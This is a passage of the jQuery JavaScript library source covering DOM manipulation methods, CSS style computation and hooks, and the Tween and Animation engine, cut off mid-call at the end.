text: function( value ) { return access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().each( function() { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { this.textContent = value; } } ); }, null, value, arguments.length ); }, append: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } } ); }, prepend: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } } ); }, before: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } } ); }, after: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } } ); }, empty: function() { var elem, i = 0; for ( ; ( elem = this[ i ] ) != null; i++ ) { if ( elem.nodeType === 1 ) { // Prevent memory leaks jQuery.cleanData( getAll( elem, false ) ); // Remove any remaining nodes elem.textContent = ""; } } return this; }, clone: function( dataAndEvents, deepDataAndEvents ) { dataAndEvents = dataAndEvents == null ? false : dataAndEvents; deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; return this.map( function() { return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); } ); }, html: function( value ) { return access( this, function( value ) { var elem = this[ 0 ] || {}, i = 0, l = this.length; if ( value === undefined && elem.nodeType === 1 ) { return elem.innerHTML; } // See if we can take a shortcut and just use innerHTML if ( typeof value === "string" && !rnoInnerhtml.test( value ) && !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { value = jQuery.htmlPrefilter( value ); try { for ( ; i < l; i++ ) { elem = this[ i ] || {}; // Remove element nodes and prevent memory leaks if ( elem.nodeType === 1 ) { jQuery.cleanData( getAll( elem, false ) ); elem.innerHTML = value; } } elem = 0; // If using innerHTML throws an exception, use the fallback method } catch ( e ) {} } if ( elem ) { this.empty().append( value ); } }, null, value, arguments.length ); }, replaceWith: function() { var ignored = []; // Make the changes, replacing each non-ignored context element with the new content return domManip( this, arguments, function( elem ) { var parent = this.parentNode; if ( jQuery.inArray( this, ignored ) < 0 ) { jQuery.cleanData( getAll( this ) ); if ( parent ) { parent.replaceChild( elem, this ); } } // Force callback invocation }, ignored ); } } ); jQuery.each( { appendTo: "append", prependTo: "prepend", insertBefore: "before", insertAfter: "after", replaceAll: "replaceWith" }, function( name, original ) { jQuery.fn[ name ] = function( selector ) { var elems, ret = [], insert = jQuery( selector ), last = insert.length - 1, i = 0; for ( ; i <= last; i++ ) { elems = i === last ? this : this.clone( true ); jQuery( insert[ i ] )[ original ]( elems ); // Support: Android <=4.0 only, PhantomJS 1 only // .get() because push.apply(_, arraylike) throws on ancient WebKit push.apply( ret, elems.get() ); } return this.pushStack( ret ); }; } ); var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); var getStyles = function( elem ) { // Support: IE <=11 only, Firefox <=30 (#15098, #14150) // IE throws on elements created in popups // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" var view = elem.ownerDocument.defaultView; if ( !view || !view.opener ) { view = window; } return view.getComputedStyle( elem ); }; var swap = function( elem, options, callback ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.call( elem ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" ); ( function() { // Executing both pixelPosition & boxSizingReliable tests require only one layout // so they're executed at the same time to save the second computation. function computeStyleTests() { // This is a singleton, we need to execute it only once if ( !div ) { return; } container.style.cssText = "position:absolute;left:-11111px;width:60px;" + "margin-top:1px;padding:0;border:0"; div.style.cssText = "position:relative;display:block;box-sizing:border-box;overflow:scroll;" + "margin:auto;border:1px;padding:1px;" + "width:60%;top:1%"; documentElement.appendChild( container ).appendChild( div ); var divStyle = window.getComputedStyle( div ); pixelPositionVal = divStyle.top !== "1%"; // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12; // Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3 // Some styles come back with percentage values, even though they shouldn't div.style.right = "60%"; pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36; // Support: IE 9 - 11 only // Detect misreporting of content dimensions for box-sizing:border-box elements boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36; // Support: IE 9 only // Detect overflow:scroll screwiness (gh-3699) // Support: Chrome <=64 // Don't get tricked when zoom affects offsetWidth (gh-4029) div.style.position = "absolute"; scrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12; documentElement.removeChild( container ); // Nullify the div so it wouldn't be stored in the memory and // it will also be a sign that checks already performed div = null; } function roundPixelMeasures( measure ) { return Math.round( parseFloat( measure ) ); } var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal, reliableTrDimensionsVal, reliableMarginLeftVal, container = document.createElement( "div" ), div = document.createElement( "div" ); // Finish early in limited (non-browser) environments if ( !div.style ) { return; } // Support: IE <=9 - 11 only // Style of cloned element affects source element cloned (#8908) div.style.backgroundClip = "content-box"; div.cloneNode( true ).style.backgroundClip = ""; support.clearCloneStyle = div.style.backgroundClip === "content-box"; jQuery.extend( support, { boxSizingReliable: function() { computeStyleTests(); return boxSizingReliableVal; }, pixelBoxStyles: function() { computeStyleTests(); return pixelBoxStylesVal; }, pixelPosition: function() { computeStyleTests(); return pixelPositionVal; }, reliableMarginLeft: function() { computeStyleTests(); return reliableMarginLeftVal; }, scrollboxSize: function() { computeStyleTests(); return scrollboxSizeVal; }, // Support: IE 9 - 11+, Edge 15 - 18+ // IE/Edge misreport `getComputedStyle` of table rows with width/height // set in CSS while `offset*` properties report correct values. // Behavior in IE 9 is more subtle than in newer versions & it passes // some versions of this test; make sure not to make it pass there! // // Support: Firefox 70+ // Only Firefox includes border widths // in computed dimensions. (gh-4529) reliableTrDimensions: function() { var table, tr, trChild, trStyle; if ( reliableTrDimensionsVal == null ) { table = document.createElement( "table" ); tr = document.createElement( "tr" ); trChild = document.createElement( "div" ); table.style.cssText = "position:absolute;left:-11111px;border-collapse:separate"; tr.style.cssText = "border:1px solid"; // Support: Chrome 86+ // Height set through cssText does not get applied. // Computed height then comes back as 0. tr.style.height = "1px"; trChild.style.height = "9px"; // Support: Android 8 Chrome 86+ // In our bodyBackground.html iframe, // display for all div elements is set to "inline", // which causes a problem only in Android 8 Chrome 86. // Ensuring the div is display: block // gets around this issue. trChild.style.display = "block"; documentElement .appendChild( table ) .appendChild( tr ) .appendChild( trChild ); trStyle = window.getComputedStyle( tr ); reliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) + parseInt( trStyle.borderTopWidth, 10 ) + parseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight; documentElement.removeChild( table ); } return reliableTrDimensionsVal; } } ); } )(); function curCSS( elem, name, computed ) { var width, minWidth, maxWidth, ret, // Support: Firefox 51+ // Retrieving style before computed somehow // fixes an issue with getting wrong values // on detached elements style = elem.style; computed = computed || getStyles( elem ); // getPropertyValue is needed for: // .css('filter') (IE 9 only, #12537) // .css('--customProperty) (#3144) if ( computed ) { ret = computed.getPropertyValue( name ) || computed[ name ]; if ( ret === "" && !isAttached( elem ) ) { ret = jQuery.style( elem, name ); } // A tribute to the "awesome hack by Dean Edwards" // Android Browser returns percentage for some values, // but width seems to be reliably pixels. // This is against the CSSOM draft spec: // https://drafts.csswg.org/cssom/#resolved-values if ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) { // Remember the original values width = style.width; minWidth = style.minWidth; maxWidth = style.maxWidth; // Put in the new values to get a computed value out style.minWidth = style.maxWidth = style.width = ret; ret = computed.width; // Revert the changed values style.width = width; style.minWidth = minWidth; style.maxWidth = maxWidth; } } return ret !== undefined ? // Support: IE <=9 - 11 only // IE returns zIndex value as an integer. ret + "" : ret; } function addGetHookIf( conditionFn, hookFn ) { // Define the hook, we'll check on the first run if it's really needed. return { get: function() { if ( conditionFn() ) { // Hook not needed (or it's not possible to use it due // to missing dependency), remove it. delete this.get; return; } // Hook needed; redefine it so that the support test is not executed again. return ( this.get = hookFn ).apply( this, arguments ); } }; } var cssPrefixes = [ "Webkit", "Moz", "ms" ], emptyStyle = document.createElement( "div" ).style, vendorProps = {}; // Return a vendor-prefixed property or undefined function vendorPropName( name ) { // Check for vendor prefixed names var capName = name[ 0 ].toUpperCase() + name.slice( 1 ), i = cssPrefixes.length; while ( i-- ) { name = cssPrefixes[ i ] + capName; if ( name in emptyStyle ) { return name; } } } // Return a potentially-mapped jQuery.cssProps or vendor prefixed property function finalPropName( name ) { var final = jQuery.cssProps[ name ] || vendorProps[ name ]; if ( final ) { return final; } if ( name in emptyStyle ) { return name; } return vendorProps[ name ] = vendorPropName( name ) || name; } var // Swappable if display is none or starts with table // except "table", "table-cell", or "table-caption" // See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display rdisplayswap = /^(none|table(?!-c[ea]).+)/, rcustomProp = /^--/, cssShow = { position: "absolute", visibility: "hidden", display: "block" }, cssNormalTransform = { letterSpacing: "0", fontWeight: "400" }; function setPositiveNumber( _elem, value, subtract ) { // Any relative (+/-) values have already been // normalized at this point var matches = rcssNum.exec( value ); return matches ? // Guard against undefined "subtract", e.g., when used as in cssHooks Math.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || "px" ) : value; } function boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) { var i = dimension === "width" ? 1 : 0, extra = 0, delta = 0; // Adjustment may not be necessary if ( box === ( isBorderBox ? "border" : "content" ) ) { return 0; } for ( ; i < 4; i += 2 ) { // Both box models exclude margin if ( box === "margin" ) { delta += jQuery.css( elem, box + cssExpand[ i ], true, styles ); } // If we get here with a content-box, we're seeking "padding" or "border" or "margin" if ( !isBorderBox ) { // Add padding delta += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); // For "border" or "margin", add border if ( box !== "padding" ) { delta += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); // But still keep track of it otherwise } else { extra += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } // If we get here with a border-box (content + padding + border), we're seeking "content" or // "padding" or "margin" } else { // For "content", subtract padding if ( box === "content" ) { delta -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles ); } // For "content" or "padding", subtract border if ( box !== "margin" ) { delta -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles ); } } } // Account for positive content-box scroll gutter when requested by providing computedVal if ( !isBorderBox && computedVal >= 0 ) { // offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border // Assuming integer scroll gutter, subtract the rest and round down delta += Math.max( 0, Math.ceil( elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - computedVal - delta - extra - 0.5 // If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter // Use an explicit zero to avoid NaN (gh-3964) ) ) || 0; } return delta; } function getWidthOrHeight( elem, dimension, extra ) { // Start with computed style var styles = getStyles( elem ), // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322). // Fake content-box until we know it's needed to know the true value. boxSizingNeeded = !support.boxSizingReliable() || extra, isBorderBox = boxSizingNeeded && jQuery.css( elem, "boxSizing", false, styles ) === "border-box", valueIsBorderBox = isBorderBox, val = curCSS( elem, dimension, styles ), offsetProp = "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ); // Support: Firefox <=54 // Return a confounding non-pixel value or feign ignorance, as appropriate. if ( rnumnonpx.test( val ) ) { if ( !extra ) { return val; } val = "auto"; } // Support: IE 9 - 11 only // Use offsetWidth/offsetHeight for when box sizing is unreliable. // In those cases, the computed value can be trusted to be border-box. if ( ( !support.boxSizingReliable() && isBorderBox || // Support: IE 10 - 11+, Edge 15 - 18+ // IE/Edge misreport `getComputedStyle` of table rows with width/height // set in CSS while `offset*` properties report correct values. // Interestingly, in some cases IE 9 doesn't suffer from this issue. !support.reliableTrDimensions() && nodeName( elem, "tr" ) || // Fall back to offsetWidth/offsetHeight when value is "auto" // This happens for inline elements with no explicit setting (gh-3571) val === "auto" || // Support: Android <=4.1 - 4.3 only // Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602) !parseFloat( val ) && jQuery.css( elem, "display", false, styles ) === "inline" ) && // Make sure the element is visible & connected elem.getClientRects().length ) { isBorderBox = jQuery.css( elem, "boxSizing", false, styles ) === "border-box"; // Where available, offsetWidth/offsetHeight approximate border box dimensions. // Where not available (e.g., SVG), assume unreliable box-sizing and interpret the // retrieved value as a content box dimension. valueIsBorderBox = offsetProp in elem; if ( valueIsBorderBox ) { val = elem[ offsetProp ]; } } // Normalize "" and auto val = parseFloat( val ) || 0; // Adjust for the element's box model return ( val + boxModelAdjustment( elem, dimension, extra || ( isBorderBox ? "border" : "content" ), valueIsBorderBox, styles, // Provide the current computed size to request scroll gutter calculation (gh-3589) val ) ) + "px"; } jQuery.extend( { // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity" ); return ret === "" ? "1" : ret; } } } }, // Don't automatically add "px" to these possibly-unitless properties cssNumber: { "animationIterationCount": true, "columnCount": true, "fillOpacity": true, "flexGrow": true, "flexShrink": true, "fontWeight": true, "gridArea": true, "gridColumn": true, "gridColumnEnd": true, "gridColumnStart": true, "gridRow": true, "gridRowEnd": true, "gridRowStart": true, "lineHeight": true, "opacity": true, "order": true, "orphans": true, "widows": true, "zIndex": true, "zoom": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: {}, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, type, hooks, origName = camelCase( name ), isCustomProp = rcustomProp.test( name ), style = elem.style; // Make sure that we're working with the right name. We don't // want to query the value if it is a CSS custom property // since they are user-defined. if ( !isCustomProp ) { name = finalPropName( origName ); } // Gets hook for the prefixed version, then unprefixed version hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // Check if we're setting a value if ( value !== undefined ) { type = typeof value; // Convert "+=" or "-=" to relative numbers (#7345) if ( type === "string" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) { value = adjustCSS( elem, name, ret ); // Fixes bug #9237 type = "number"; } // Make sure that null and NaN values aren't set (#7116) if ( value == null || value !== value ) { return; } // If a number was passed in, add the unit (except for certain CSS properties) // The isCustomProp check can be removed in jQuery 4.0 when we only auto-append // "px" to a few hardcoded values. if ( type === "number" && !isCustomProp ) { value += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? "" : "px" ); } // background-* props affect original clone's values if ( !support.clearCloneStyle && value === "" && name.indexOf( "background" ) === 0 ) { style[ name ] = "inherit"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !( "set" in hooks ) || ( value = hooks.set( elem, value, extra ) ) !== undefined ) { if ( isCustomProp ) { style.setProperty( name, value ); } else { style[ name ] = value; } } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && ( ret = hooks.get( elem, false, extra ) ) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra, styles ) { var val, num, hooks, origName = camelCase( name ), isCustomProp = rcustomProp.test( name ); // Make sure that we're working with the right name. We don't // want to modify the value if it is a CSS custom property // since they are user-defined. if ( !isCustomProp ) { name = finalPropName( origName ); } // Try prefixed name followed by the unprefixed name hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ]; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks ) { val = hooks.get( elem, true, extra ); } // Otherwise, if a way to get the computed value exists, use that if ( val === undefined ) { val = curCSS( elem, name, styles ); } // Convert "normal" to computed value if ( val === "normal" && name in cssNormalTransform ) { val = cssNormalTransform[ name ]; } // Make numeric if forced or a qualifier was provided and val looks numeric if ( extra === "" || extra ) { num = parseFloat( val ); return extra === true || isFinite( num ) ? num || 0 : val; } return val; } } ); jQuery.each( [ "height", "width" ], function( _i, dimension ) { jQuery.cssHooks[ dimension ] = { get: function( elem, computed, extra ) { if ( computed ) { // Certain elements can have dimension info if we invisibly show them // but it must have a current display style that would benefit return rdisplayswap.test( jQuery.css( elem, "display" ) ) && // Support: Safari 8+ // Table columns in Safari have non-zero offsetWidth & zero // getBoundingClientRect().width unless display is changed. // Support: IE <=11 only // Running getBoundingClientRect on a disconnected node // in IE throws an error. ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ? swap( elem, cssShow, function() { return getWidthOrHeight( elem, dimension, extra ); } ) : getWidthOrHeight( elem, dimension, extra ); } }, set: function( elem, value, extra ) { var matches, styles = getStyles( elem ), // Only read styles.position if the test has a chance to fail // to avoid forcing a reflow. scrollboxSizeBuggy = !support.scrollboxSize() && styles.position === "absolute", // To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991) boxSizingNeeded = scrollboxSizeBuggy || extra, isBorderBox = boxSizingNeeded && jQuery.css( elem, "boxSizing", false, styles ) === "border-box", subtract = extra ? boxModelAdjustment( elem, dimension, extra, isBorderBox, styles ) : 0; // Account for unreliable border-box dimensions by comparing offset* to computed and // faking a content-box to get border and padding (gh-3699) if ( isBorderBox && scrollboxSizeBuggy ) { subtract -= Math.ceil( elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] - parseFloat( styles[ dimension ] ) - boxModelAdjustment( elem, dimension, "border", false, styles ) - 0.5 ); } // Convert to pixels if value adjustment is needed if ( subtract && ( matches = rcssNum.exec( value ) ) && ( matches[ 3 ] || "px" ) !== "px" ) { elem.style[ dimension ] = value; value = jQuery.css( elem, dimension ); } return setPositiveNumber( elem, value, subtract ); } }; } ); jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft, function( elem, computed ) { if ( computed ) { return ( parseFloat( curCSS( elem, "marginLeft" ) ) || elem.getBoundingClientRect().left - swap( elem, { marginLeft: 0 }, function() { return elem.getBoundingClientRect().left; } ) ) + "px"; } } ); // These hooks are used by animate to expand properties jQuery.each( { margin: "", padding: "", border: "Width" }, function( prefix, suffix ) { jQuery.cssHooks[ prefix + suffix ] = { expand: function( value ) { var i = 0, expanded = {}, // Assumes a single number if not a string parts = typeof value === "string" ? value.split( " " ) : [ value ]; for ( ; i < 4; i++ ) { expanded[ prefix + cssExpand[ i ] + suffix ] = parts[ i ] || parts[ i - 2 ] || parts[ 0 ]; } return expanded; } }; if ( prefix !== "margin" ) { jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber; } } ); jQuery.fn.extend( { css: function( name, value ) { return access( this, function( elem, name, value ) { var styles, len, map = {}, i = 0; if ( Array.isArray( name ) ) { styles = getStyles( elem ); len = name.length; for ( ; i < len; i++ ) { map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles ); } return map; } return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }, name, value, arguments.length > 1 ); } } ); function Tween( elem, options, prop, end, easing ) { return new Tween.prototype.init( elem, options, prop, end, easing ); } jQuery.Tween = Tween; Tween.prototype = { constructor: Tween, init: function( elem, options, prop, end, easing, unit ) { this.elem = elem; this.prop = prop; this.easing = easing || jQuery.easing._default; this.options = options; this.start = this.now = this.cur(); this.end = end; this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" ); }, cur: function() { var hooks = Tween.propHooks[ this.prop ]; return hooks && hooks.get ? hooks.get( this ) : Tween.propHooks._default.get( this ); }, run: function( percent ) { var eased, hooks = Tween.propHooks[ this.prop ]; if ( this.options.duration ) { this.pos = eased = jQuery.easing[ this.easing ]( percent, this.options.duration * percent, 0, 1, this.options.duration ); } else { this.pos = eased = percent; } this.now = ( this.end - this.start ) * eased + this.start; if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } if ( hooks && hooks.set ) { hooks.set( this ); } else { Tween.propHooks._default.set( this ); } return this; } }; Tween.prototype.init.prototype = Tween.prototype; Tween.propHooks = { _default: { get: function( tween ) { var result; // Use a property on the element directly when it is not a DOM element, // or when there is no matching style property that exists. if ( tween.elem.nodeType !== 1 || tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) { return tween.elem[ tween.prop ]; } // Passing an empty string as a 3rd parameter to .css will automatically // attempt a parseFloat and fallback to a string if the parse fails. // Simple values such as "10px" are parsed to Float; // complex values such as "rotate(1rad)" are returned as-is. result = jQuery.css( tween.elem, tween.prop, "" ); // Empty strings, null, undefined and "auto" are converted to 0. return !result || result === "auto" ? 0 : result; }, set: function( tween ) { // Use step hook for back compat. // Use cssHook if its there. // Use .style if available and use plain properties where available. if ( jQuery.fx.step[ tween.prop ] ) { jQuery.fx.step[ tween.prop ]( tween ); } else if ( tween.elem.nodeType === 1 && ( jQuery.cssHooks[ tween.prop ] || tween.elem.style[ finalPropName( tween.prop ) ] != null ) ) { jQuery.style( tween.elem, tween.prop, tween.now + tween.unit ); } else { tween.elem[ tween.prop ] = tween.now; } } } }; // Support: IE <=9 only // Panic based approach to setting things on disconnected nodes Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = { set: function( tween ) { if ( tween.elem.nodeType && tween.elem.parentNode ) { tween.elem[ tween.prop ] = tween.now; } } }; jQuery.easing = { linear: function( p ) { return p; }, swing: function( p ) { return 0.5 - Math.cos( p * Math.PI ) / 2; }, _default: "swing" }; jQuery.fx = Tween.prototype.init; // Back compat <1.8 extension point jQuery.fx.step = {}; var fxNow, inProgress, rfxtypes = /^(?:toggle|show|hide)$/, rrun = /queueHooks$/; function schedule() { if ( inProgress ) { if ( document.hidden === false && window.requestAnimationFrame ) { window.requestAnimationFrame( schedule ); } else { window.setTimeout( schedule, jQuery.fx.interval ); } jQuery.fx.tick(); } } // Animations created synchronously will run synchronously function createFxNow() { window.setTimeout( function() { fxNow = undefined; } ); return ( fxNow = Date.now() ); } // Generate parameters to create a standard animation function genFx( type, includeWidth ) { var which, i = 0, attrs = { height: type }; // If we include width, step value is 1 to do all cssExpand values, // otherwise step value is 2 to skip over Left and Right includeWidth = includeWidth ? 1 : 0; for ( ; i < 4; i += 2 - includeWidth ) { which = cssExpand[ i ]; attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; } if ( includeWidth ) { attrs.opacity = attrs.width = type; } return attrs; } function createTween( value, prop, animation ) { var tween, collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), index = 0, length = collection.length; for ( ; index < length; index++ ) { if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { // We're done with this property return tween; } } } function defaultPrefilter( elem, props, opts ) { var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, isBox = "width" in props || "height" in props, anim = this, orig = {}, style = elem.style, hidden = elem.nodeType && isHiddenWithinTree( elem ), dataShow = dataPriv.get( elem, "fxshow" ); // Queue-skipping animations hijack the fx hooks if ( !opts.queue ) { hooks = jQuery._queueHooks( elem, "fx" ); if ( hooks.unqueued == null ) { hooks.unqueued = 0; oldfire = hooks.empty.fire; hooks.empty.fire = function() { if ( !hooks.unqueued ) { oldfire(); } }; } hooks.unqueued++; anim.always( function() { // Ensure the complete handler is called before this completes anim.always( function() { hooks.unqueued--; if ( !jQuery.queue( elem, "fx" ).length ) { hooks.empty.fire(); } } ); } ); } // Detect show/hide animations for ( prop in props ) { value = props[ prop ]; if ( rfxtypes.test( value ) ) { delete props[ prop ]; toggle = toggle || value === "toggle"; if ( value === ( hidden ? "hide" : "show" ) ) { // Pretend to be hidden if this is a "show" and // there is still data from a stopped show/hide if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { hidden = true; // Ignore all other no-op show/hide data } else { continue; } } orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); } } // Bail out if this is a no-op like .hide().hide() propTween = !jQuery.isEmptyObject( props ); if ( !propTween && jQuery.isEmptyObject( orig ) ) { return; } // Restrict "overflow" and "display" styles during box animations if ( isBox && elem.nodeType === 1 ) { // Support: IE <=9 - 11, Edge 12 - 15 // Record all 3 overflow attributes because IE does not infer the shorthand // from identically-valued overflowX and overflowY and Edge just mirrors // the overflowX value there. opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; // Identify a display type, preferring old show/hide data over the CSS cascade restoreDisplay = dataShow && dataShow.display; if ( restoreDisplay == null ) { restoreDisplay = dataPriv.get( elem, "display" ); } display = jQuery.css( elem, "display" ); if ( display === "none" ) { if ( restoreDisplay ) { display = restoreDisplay; } else { // Get nonempty value(s) by temporarily forcing visibility showHide( [ elem ], true ); restoreDisplay = elem.style.display || restoreDisplay; display = jQuery.css( elem, "display" ); showHide( [ elem ] ); } } // Animate inline elements as inline-block if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { if ( jQuery.css( elem, "float" ) === "none" ) { // Restore the original display value at the end of pure show/hide animations if ( !propTween ) { anim.done( function() { style.display = restoreDisplay; } ); if ( restoreDisplay == null ) { display = style.display; restoreDisplay = display === "none" ? "" : display; } } style.display = "inline-block"; } } } if ( opts.overflow ) { style.overflow = "hidden"; anim.always( function() { style.overflow = opts.overflow[ 0 ]; style.overflowX = opts.overflow[ 1 ]; style.overflowY = opts.overflow[ 2 ]; } ); } // Implement show/hide animations propTween = false; for ( prop in orig ) { // General show/hide setup for this element animation if ( !propTween ) { if ( dataShow ) { if ( "hidden" in dataShow ) { hidden = dataShow.hidden; } } else { dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); } // Store hidden/visible for toggle so `.stop().toggle()` "reverses" if ( toggle ) { dataShow.hidden = !hidden; } // Show elements before animating them if ( hidden ) { showHide( [ elem ], true ); } /* eslint-disable no-loop-func */ anim.done( function() { /* eslint-enable no-loop-func */ // The final step of a "hide" animation is actually hiding the element if ( !hidden ) { showHide( [ elem ] ); } dataPriv.remove( elem, "fxshow" ); for ( prop in orig ) { jQuery.style( elem, prop, orig[ prop ] ); } } ); } // Per-property setup propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); if ( !( prop in dataShow ) ) { dataShow[ prop ] = propTween.start; if ( hidden ) { propTween.end = propTween.start; propTween.start = 0; } } } } function propFilter( props, specialEasing ) { var index, name, easing, value, hooks; // camelCase, specialEasing and expand cssHook pass for ( index in props ) { name = camelCase( index ); easing = specialEasing[ name ]; value = props[ index ]; if ( Array.isArray( value ) ) { easing = value[ 1 ]; value = props[ index ] = value[ 0 ]; } if ( index !== name ) { props[ name ] = value; delete props[ index ]; } hooks = jQuery.cssHooks[ name ]; if ( hooks && "expand" in hooks ) { value = hooks.expand( value ); delete props[ name ]; // Not quite $.extend, this won't overwrite existing keys. // Reusing 'index' because we have the correct "name" for ( index in value ) { if ( !( index in props ) ) { props[ index ] = value[ index ]; specialEasing[ index ] = easing; } } } else { specialEasing[ name ] = easing; } } } function Animation( elem, properties, options ) { var result, stopped, index = 0, length = Animation.prefilters.length, deferred = jQuery.Deferred().always( function() { // Don't match elem in the :animated selector delete tick.elem; } ), tick = function() { if ( stopped ) { return false; } var currentTime = fxNow || createFxNow(), remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), // Support: Android 2.3 only // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497) temp = remaining / animation.duration || 0, percent = 1 - temp, index = 0, length = animation.tweens.length; for ( ; index < length; index++ ) { animation.tweens[ index ].run( percent ); } deferred.notifyWith( elem, [ animation, percent, remaining ] ); // If there's more to do, yield if ( percent < 1 && length ) { return remaining; } // If this was an empty animation, synthesize a final progress notification if ( !length ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); } // Resolve the animation and report its conclusion deferred.resolveWith( elem, [ animation ] ); return false; }, animation = deferred.promise( { elem: elem, props: jQuery.extend( {}, properties ), opts: jQuery.extend( true, { specialEasing: {}, easing: jQuery.easing._default }, options ), originalProperties: properties, originalOptions: options, startTime: fxNow || createFxNow(), duration: options.duration, tweens: [], createTween: function( prop, end ) { var tween = jQuery.Tween( elem, animation.opts, prop, end, animation.opts.specialEasing[ prop ] || animation.opts.easing ); animation.tweens.push( tween ); return tween; }, stop: function( gotoEnd ) { var index = 0, // If we are going to the end, we want to run all the tweens // otherwise we skip this part length = gotoEnd ? animation.tweens.length : 0; if ( stopped ) { return this; } stopped = true; for ( ; index < length; index++ ) { animation.tweens[ index ].run( 1 ); } // Resolve when we played the last frame; otherwise, reject if ( gotoEnd ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); deferred.resolveWith( elem, [ animation, gotoEnd ] ); } else { deferred.rejectWith( elem, [ animation, gotoEnd ] ); } return this; } } ), props = animation.props; propFilter( props, animation.opts.specialEasing ); for ( ; index < length; index++ ) { result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); if ( result ) { if ( isFunction( result.stop ) ) { jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = result.stop.bind( result ); } return result; } } jQuery.map( props, createTween, animation ); if ( isFunction( animation.opts.start ) ) { animation.opts.start.call( elem, animation ); } // Attach callbacks from options animation .progress( animation.opts.progress ) .done( animation.opts.done, animation.opts.complete ) .fail( animation.opts.fail ) .always( animation.opts.always ); jQuery.fx.timer( jQuery.extend( tick, { elem: elem, anim: animation, queue: animation.opts.queue } 